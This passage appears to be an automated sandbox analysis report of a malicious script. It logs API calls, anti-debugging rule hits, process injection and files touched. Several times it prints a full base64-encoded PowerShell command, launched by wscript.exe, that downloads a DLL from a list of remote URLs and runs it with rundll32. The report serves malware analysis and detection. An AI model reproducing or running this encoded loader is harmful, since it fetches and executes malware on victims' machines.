AAkAGUAbgB2ADoAVABFAE0AUABcAFQAdQBiAHcAbwBtAGEAbgAuAE0AZQB0AGEAYgBpAHMAbQB1AHQAaABpAGMAKQAuAGwAZQBuAGcAdABoACAALQBnAGUAIAAxADAAMAAwADAAMAApACAAewBzAHQAYQByAHQAIAByAHUAbgBkAGwAbAAzADIAIAAkAGUAbgB2ADoAVABFAE0AUABcAFwAVAB1AGIAdwBvAG0AYQBuAC4ATQBlAHQAYQBiAGkAcwBtAHUAdABoAGkAYwAsAE4AaQBrAG4AOwBiAHIAZQBhAGsAOwB9AH0AYwBhAHQAYwBoACAAewBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAyADsAfQB9AA=="
cmdline "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedcommand "UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMgA7ACQAUgBlAHAAcgBlAHMAZQBuAHQAYQB0AGkAbwBuAGUAcwBPAHYAZQByAHIAaQBvAHQAIAA9ACAAKAAiAGgAdAB0AHAAcwA6AC8ALwBkAGkAYQBiAGUAZgBsAGkAeAAuAGMAbAB1AGIALwBRADYAcAB5AC8AYgBiADIAeQBWACwAaAB0AHQAcABzADoALwAvAGIAcwBkAHQAcgBlAGUAaQBuAGMALgBjAG8AbQAvADUARABZAC8AeQBZADAASwB2ADEAZgBBAEQARgAxACwAaAB0AHQAcABzADoALwAvAG0AZQBkAGkAYwBhAGkAbgB0AGwALgBjAG8AbQAvAEMAbQB5AEgALwBUAEkAWQBZAEIAdABkAE0AVQBWACwAaAB0AHQAcABzADoALwAvAG4AbwBtAGEAZABsAG8AdgBlAC4AYwBvAG0ALgBiAHIALwBWAFIAOABmAC8ARQBHADEAZQBkAGUAUgBlAEcAbQBkACwAaAB0AHQAcABzADoALwAvAGMAaQBlAG4AdABpAGYAaQBjAGEAZwByAG8AdQBwAC4AYwBvAG0ALwBBAFIAdgBEAGkARQAvAEQASgAxAGEAUAB0AFQALABoAHQAdABwAHMAOgAvAC8AaQBsAHUAbQBpAG4AYQByAGUAbwBkAG8AbgB0AG8ALgBjAG8AbQAuAGIAcgAvADgASwAzAEkAQQAvADMAYgBpAHIAVwBMAHQAegA5ACwAaAB0AHQAcABzADoALwAvAGkAbgBzAHQAaQB0AHUAdABvAGUAawBiAGEAbABsAG8ALgBvAHIAZwAvAEQAdQBaAGoATgAvAHYASAB3AFoATgBhAGsAbQAsAGgAdAB0AHAAcwA6AC8ALwBpAGEAbgBqAGUAcwB1AHMAYwByAC4AbwByAGcALwAzAG4AUwBuAC8AQQBsAGoAbgBjAFIALABoAHQAdABwAHMAOgAvAC8AYwBvAG4AZQBjAHQAYQBiAHIAYQB6AGkAbABuAGUAdwBiAGEAbgBrAC4AYwBvAG0ALwB2AHkAeABCAC8AaQBQADkARwA2AGsAawAsAGgAdAB0AHAAcwA6AC8ALwBhAGwAawBhAG4AYQByAGkAYQAtAHUAYQBlAC4AYwBvAG0ALwAzAGkAdgAvADkAQQBlAFAAYgBVAEsAVQAiACkALgBzAHAAbABpAHQAKAAiACwAIgApADsAZgBvAHIAZQBhAGMAaAAgACgAJABjAGgAaQBvAGwAaQB0AGUARABlAGMAawBzAHcAYQBiAGIAZQByACAAaQBuACAAJABSAGUAcAByAGUAcwBlAG4AdABhAHQAaQBvAG4AZQBzAE8AdgBlAHIAcgBpAG8AdAApACAAewB0AHIAeQAgAHsAdwBnAGUAdAAgACQAYwBoAGkAbwBsAGkAdABlAEQAZQBjAGsAcwB3AGEAYgBiAGUAcgAgAC0AVABpAG0AZQBvAHUAdABTAGUAYwAgADIAMAAgAC0ATwAgACQAZQBuAHYAOgBUAEUATQBQAFwAVAB1AGIAdwBvAG0AYQBuAC4ATQBlAHQAYQBiAGkAcwBtAHUAdABoAGkAYwA7AGkAZgAgACgAKABHAGUAdAAtAEkAdABlAG0AIAAkAGUAbgB2ADoAVABFAE0AUABcAFQAdQBiAHcAbwBtAGEAbgAuAE0AZQB0AGEAYgBpAHMAbQB1AHQAaABpAGMAKQAuAGwAZQBuAGcAdABoACAALQBnAGUAIAAxADAAMAAwADAAMAApACAAewBzAHQAYQByAHQAIAByAHUAbgBkAGwAbAAzADIAIAAkAGUAbgB2ADoAVABFAE0AUABcAFwAVAB1AGIAdwBvAG0AYQBuAC4ATQBlAHQAYQBiAGkAcwBtAHUAdABoAGkAYwAsAE4AaQBrAG4AOwBiAHIAZQBhAGsAOwB9AH0AYwBhAHQAYwBoACAAewBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAyADsAfQB9AA=="
Time & API Arguments Status Return Repeated

ShellExecuteExW

 show_type: 0
filepath_r: powershell
parameters: -encodedcommand "UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMgA7ACQAUgBlAHAAcgBlAHMAZQBuAHQAYQB0AGkAbwBuAGUAcwBPAHYAZQByAHIAaQBvAHQAIAA9ACAAKAAiAGgAdAB0AHAAcwA6AC8ALwBkAGkAYQBiAGUAZgBsAGkAeAAuAGMAbAB1AGIALwBRADYAcAB5AC8AYgBiADIAeQBWACwAaAB0AHQAcABzADoALwAvAGIAcwBkAHQAcgBlAGUAaQBuAGMALgBjAG8AbQAvADUARABZAC8AeQBZADAASwB2ADEAZgBBAEQARgAxACwAaAB0AHQAcABzADoALwAvAG0AZQBkAGkAYwBhAGkAbgB0AGwALgBjAG8AbQAvAEMAbQB5AEgALwBUAEkAWQBZAEIAdABkAE0AVQBWACwAaAB0AHQAcABzADoALwAvAG4AbwBtAGEAZABsAG8AdgBlAC4AYwBvAG0ALgBiAHIALwBWAFIAOABmAC8ARQBHADEAZQBkAGUAUgBlAEcAbQBkACwAaAB0AHQAcABzADoALwAvAGMAaQBlAG4AdABpAGYAaQBjAGEAZwByAG8AdQBwAC4AYwBvAG0ALwBBAFIAdgBEAGkARQAvAEQASgAxAGEAUAB0AFQALABoAHQAdABwAHMAOgAvAC8AaQBsAHUAbQBpAG4AYQByAGUAbwBkAG8AbgB0AG8ALgBjAG8AbQAuAGIAcgAvADgASwAzAEkAQQAvADMAYgBpAHIAVwBMAHQAegA5ACwAaAB0AHQAcABzADoALwAvAGkAbgBzAHQAaQB0AHUAdABvAGUAawBiAGEAbABsAG8ALgBvAHIAZwAvAEQAdQBaAGoATgAvAHYASAB3AFoATgBhAGsAbQAsAGgAdAB0AHAAcwA6AC8ALwBpAGEAbgBqAGUAcwB1AHMAYwByAC4AbwByAGcALwAzAG4AUwBuAC8AQQBsAGoAbgBjAFIALABoAHQAdABwAHMAOgAvAC8AYwBvAG4AZQBjAHQAYQBiAHIAYQB6AGkAbABuAGUAdwBiAGEAbgBrAC4AYwBvAG0ALwB2AHkAeABCAC8AaQBQADkARwA2AGsAawAsAGgAdAB0AHAAcwA6AC8ALwBhAGwAawBhAG4AYQByAGkAYQAtAHUAYQBlAC4AYwBvAG0ALwAzAGkAdgAvADkAQQBlAFAAYgBVAEsAVQAiACkALgBzAHAAbABpAHQAKAAiACwAIgApADsAZgBvAHIAZQBhAGMAaAAgACgAJABjAGgAaQBvAGwAaQB0AGUARABlAGMAawBzAHcAYQBiAGIAZQByACAAaQBuACAAJABSAGUAcAByAGUAcwBlAG4AdABhAHQAaQBvAG4AZQBzAE8AdgBlAHIAcgBpAG8AdAApACAAewB0AHIAeQAgAHsAdwBnAGUAdAAgACQAYwBoAGkAbwBsAGkAdABlAEQAZQBjAGsAcwB3AGEAYgBiAGUAcgAgAC0AVABpAG0AZQBvAHUAdABTAGUAYwAgADIAMAAgAC0ATwAgACQAZQBuAHYAOgBUAEUATQBQAFwAVAB1AGIAdwBvAG0AYQBuAC4ATQBlAHQAYQBiAGkAcwBtAHUAdABoAGkAYwA7AGkAZgAgACgAKABHAGUAdAAtAEkAdABlAG0AIAAkAGUAbgB2ADoAVABFAE0AUABcAFQAdQBiAHcAbwBtAGEAbgAuAE0AZQB0AGEAYgBpAHMAbQB1AHQAaABpAGMAKQAuAGwAZQBuAGcAdABoACAALQBnAGUAIAAxADAAMAAwADAAMAApACAAewBzAHQAYQByAHQAIAByAHUAbgBkAGwAbAAzADIAIAAkAGUAbgB2ADoAVABFAE0AUABcAFwAVAB1AGIAdwBvAG0AYQBuAC4ATQBlAHQAYQBiAGkAcwBtAHUAdABoAGkAYwAsAE4AaQBrAG4AOwBiAHIAZQBhAGsAOwB9AH0AYwBhAHQAYwBoACAAewBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAyADsAfQB9AA=="
filepath: powershell
1 1 0
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0
description (no description) rule DebuggerCheck__GlobalFlags
description (no description) rule DebuggerCheck__QueryInfo
description (no description) rule DebuggerHiding__Thread
description (no description) rule DebuggerHiding__Active
description (no description) rule ThreadControl__Context
description (no description) rule SEH__vectored
description Checks if being debugged rule anti_dbg
description Bypass DEP rule disable_dep
parent_process wscript.exe martian_process powershell -encodedcommand "UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMgA7ACQAUgBlAHAAcgBlAHMAZQBuAHQAYQB0AGkAbwBuAGUAcwBPAHYAZQByAHIAaQBvAHQAIAA9ACAAKAAiAGgAdAB0AHAAcwA6AC8ALwBkAGkAYQBiAGUAZgBsAGkAeAAuAGMAbAB1AGIALwBRADYAcAB5AC8AYgBiADIAeQBWACwAaAB0AHQAcABzADoALwAvAGIAcwBkAHQAcgBlAGUAaQBuAGMALgBjAG8AbQAvADUARABZAC8AeQBZADAASwB2ADEAZgBBAEQARgAxACwAaAB0AHQAcABzADoALwAvAG0AZQBkAGkAYwBhAGkAbgB0AGwALgBjAG8AbQAvAEMAbQB5AEgALwBUAEkAWQBZAEIAdABkAE0AVQBWACwAaAB0AHQAcABzADoALwAvAG4AbwBtAGEAZABsAG8AdgBlAC4AYwBvAG0ALgBiAHIALwBWAFIAOABmAC8ARQBHADEAZQBkAGUAUgBlAEcAbQBkACwAaAB0AHQAcABzADoALwAvAGMAaQBlAG4AdABpAGYAaQBjAGEAZwByAG8AdQBwAC4AYwBvAG0ALwBBAFIAdgBEAGkARQAvAEQASgAxAGEAUAB0AFQALABoAHQAdABwAHMAOgAvAC8AaQBsAHUAbQBpAG4AYQByAGUAbwBkAG8AbgB0AG8ALgBjAG8AbQAuAGIAcgAvADgASwAzAEkAQQAvADMAYgBpAHIAVwBMAHQAegA5ACwAaAB0AHQAcABzADoALwAvAGkAbgBzAHQAaQB0AHUAdABvAGUAawBiAGEAbABsAG8ALgBvAHIAZwAvAEQAdQBaAGoATgAvAHYASAB3AFoATgBhAGsAbQAsAGgAdAB0AHAAcwA6AC8ALwBpAGEAbgBqAGUAcwB1AHMAYwByAC4AbwByAGcALwAzAG4AUwBuAC8AQQBsAGoAbgBjAFIALABoAHQAdABwAHMAOgAvAC8AYwBvAG4AZQBjAHQAYQBiAHIAYQB6AGkAbABuAGUAdwBiAGEAbgBrAC4AYwBvAG0ALwB2AHkAeABCAC8AaQBQADkARwA2AGsAawAsAGgAdAB0AHAAcwA6AC8ALwBhAGwAawBhAG4AYQByAGkAYQAtAHUAYQBlAC4AYwBvAG0ALwAzAGkAdgAvADkAQQBlAFAAYgBVAEsAVQAiACkALgBzAHAAbABpAHQAKAAiACwAIgApADsAZgBvAHIAZQBhAGMAaAAgACgAJABjAGgAaQBvAGwAaQB0AGUARABlAGMAawBzAHcAYQBiAGIAZQByACAAaQBuACAAJABSAGUAcAByAGUAcwBlAG4AdABhAHQAaQBvAG4AZQBzAE8AdgBlAHIAcgBpAG8AdAApACAAewB0AHIAeQAgAHsAdwBnAGUAdAAgACQAYwBoAGkAbwBsAGkAdABlAEQAZQBjAGsAcwB3AGEAYgBiAGUAcgAgAC0AVABpAG0AZQBvAHUAdABTAGUAYwAgADIAMAAgAC0ATwAgACQAZQBuAHYAOgBUAEUATQBQAFwAVAB1AGIAdwBvAG0AYQBuAC4ATQBlAHQAYQBiAGkAcwBtAHUAdABoAGkAYwA7AGkAZgAgACgAKABHAGUAdAAtAEkAdABlAG0AIAAkAGUAbgB2ADoAVABFAE0AUABcAFQAdQBiAHcAbwBtAGEAbgAuAE0AZQB0AGEAYgBpAHMAbQB1AHQAaABpAGMAKQAuAGwAZQBuAGcAdABoACAALQBnAGUAIAAxADAAMAAwADAAMAApACAAewBzAHQAYQByAHQAIAByAHUAbgBkAGwAbAAzADIAIAAkAGUAbgB2ADoAVABFAE0AUABcAFwAVAB1AGIAdwBvAG0AYQBuAC4ATQBlAHQAYQBiAGkAcwBtAHUAdABoAGkAYwAsAE4AaQBrAG4AOwBiAHIAZQBhAGsAOwB9AH0AYwBhAHQAYwBoACAAewBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAyADsAfQB9AA=="
parent_process wscript.exe martian_process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedcommand "UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMgA7ACQAUgBlAHAAcgBlAHMAZQBuAHQAYQB0AGkAbwBuAGUAcwBPAHYAZQByAHIAaQBvAHQAIAA9ACAAKAAiAGgAdAB0AHAAcwA6AC8ALwBkAGkAYQBiAGUAZgBsAGkAeAAuAGMAbAB1AGIALwBRADYAcAB5AC8AYgBiADIAeQBWACwAaAB0AHQAcABzADoALwAvAGIAcwBkAHQAcgBlAGUAaQBuAGMALgBjAG8AbQAvADUARABZAC8AeQBZADAASwB2ADEAZgBBAEQARgAxACwAaAB0AHQAcABzADoALwAvAG0AZQBkAGkAYwBhAGkAbgB0AGwALgBjAG8AbQAvAEMAbQB5AEgALwBUAEkAWQBZAEIAdABkAE0AVQBWACwAaAB0AHQAcABzADoALwAvAG4AbwBtAGEAZABsAG8AdgBlAC4AYwBvAG0ALgBiAHIALwBWAFIAOABmAC8ARQBHADEAZQBkAGUAUgBlAEcAbQBkACwAaAB0AHQAcABzADoALwAvAGMAaQBlAG4AdABpAGYAaQBjAGEAZwByAG8AdQBwAC4AYwBvAG0ALwBBAFIAdgBEAGkARQAvAEQASgAxAGEAUAB0AFQALABoAHQAdABwAHMAOgAvAC8AaQBsAHUAbQBpAG4AYQByAGUAbwBkAG8AbgB0AG8ALgBjAG8AbQAuAGIAcgAvADgASwAzAEkAQQAvADMAYgBpAHIAVwBMAHQAegA5ACwAaAB0AHQAcABzADoALwAvAGkAbgBzAHQAaQB0AHUAdABvAGUAawBiAGEAbABsAG8ALgBvAHIAZwAvAEQAdQBaAGoATgAvAHYASAB3AFoATgBhAGsAbQAsAGgAdAB0AHAAcwA6AC8ALwBpAGEAbgBqAGUAcwB1AHMAYwByAC4AbwByAGcALwAzAG4AUwBuAC8AQQBsAGoAbgBjAFIALABoAHQAdABwAHMAOgAvAC8AYwBvAG4AZQBjAHQAYQBiAHIAYQB6AGkAbABuAGUAdwBiAGEAbgBrAC4AYwBvAG0ALwB2AHkAeABCAC8AaQBQADkARwA2AGsAawAsAGgAdAB0AHAAcwA6AC8ALwBhAGwAawBhAG4AYQByAGkAYQAtAHUAYQBlAC4AYwBvAG0ALwAzAGkAdgAvADkAQQBlAFAAYgBVAEsAVQAiACkALgBzAHAAbABpAHQAKAAiACwAIgApADsAZgBvAHIAZQBhAGMAaAAgACgAJABjAGgAaQBvAGwAaQB0AGUARABlAGMAawBzAHcAYQBiAGIAZQByACAAaQBuACAAJABSAGUAcAByAGUAcwBlAG4AdABhAHQAaQBvAG4AZQBzAE8AdgBlAHIAcgBpAG8AdAApACAAewB0AHIAeQAgAHsAdwBnAGUAdAAgACQAYwBoAGkAbwBsAGkAdABlAEQAZQBjAGsAcwB3AGEAYgBiAGUAcgAgAC0AVABpAG0AZQBvAHUAdABTAGUAYwAgADIAMAAgAC0ATwAgACQAZQBuAHYAOgBUAEUATQBQAFwAVAB1AGIAdwBvAG0AYQBuAC4ATQBlAHQAYQBiAGkAcwBtAHUAdABoAGkAYwA7AGkAZgAgACgAKABHAGUAdAAtAEkAdABlAG0AIAAkAGUAbgB2ADoAVABFAE0AUABcAFQAdQBiAHcAbwBtAGEAbgAuAE0AZQB0AGEAYgBpAHMAbQB1AHQAaABpAGMAKQAuAGwAZQBuAGcAdABoACAALQBnAGUAIAAxADAAMAAwADAAMAApACAAewBzAHQAYQByAHQAIAByAHUAbgBkAGwAbAAzADIAIAAkAGUAbgB2ADoAVABFAE0AUABcAFwAVAB1AGIAdwBvAG0AYQBuAC4ATQBlAHQAYQBiAGkAcwBtAHUAdABoAGkAYwAsAE4AaQBrAG4AOwBiAHIAZQBhAGsAOwB9AH0AYwBhAHQAYwBoACAAewBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAyADsAfQB9AA=="
Process injection Process 3044 resumed a thread in remote process 2184
Time & API Arguments Status Return Repeated

NtResumeThread

 thread_handle: 0x0000033c
suspend_count: 1
process_identifier: 2184
1 0 0
file C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
file C:\Windows\System32\ie4uinit.exe
file C:\Program Files\Windows Sidebar\sidebar.exe
file C:\Windows\System32\WindowsAnytimeUpgradeUI.exe
file C:\Windows\System32\xpsrchvw.exe
file C:\Windows\System32\displayswitch.exe
file C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe
file C:\Windows\System32\mblctr.exe
file C:\Windows\System32\mstsc.exe
file C:\Windows\System32\SnippingTool.exe
file C:\Windows\System32\SoundRecorder.exe
file C:\Windows\System32\dfrgui.exe
file C:\Windows\System32\msinfo32.exe
file C:\Windows\System32\rstrui.exe
file C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe
file C:\Program Files\Windows Journal\Journal.exe
file C:\Windows\System32\MdSched.exe
file C:\Windows\System32\msconfig.exe
file C:\Windows\System32\recdisc.exe
file C:\Windows\System32\msra.exe